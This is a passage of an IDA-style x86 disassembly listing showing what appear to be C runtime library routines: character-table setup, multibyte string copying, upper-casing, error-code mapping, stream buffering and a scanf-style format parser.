		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
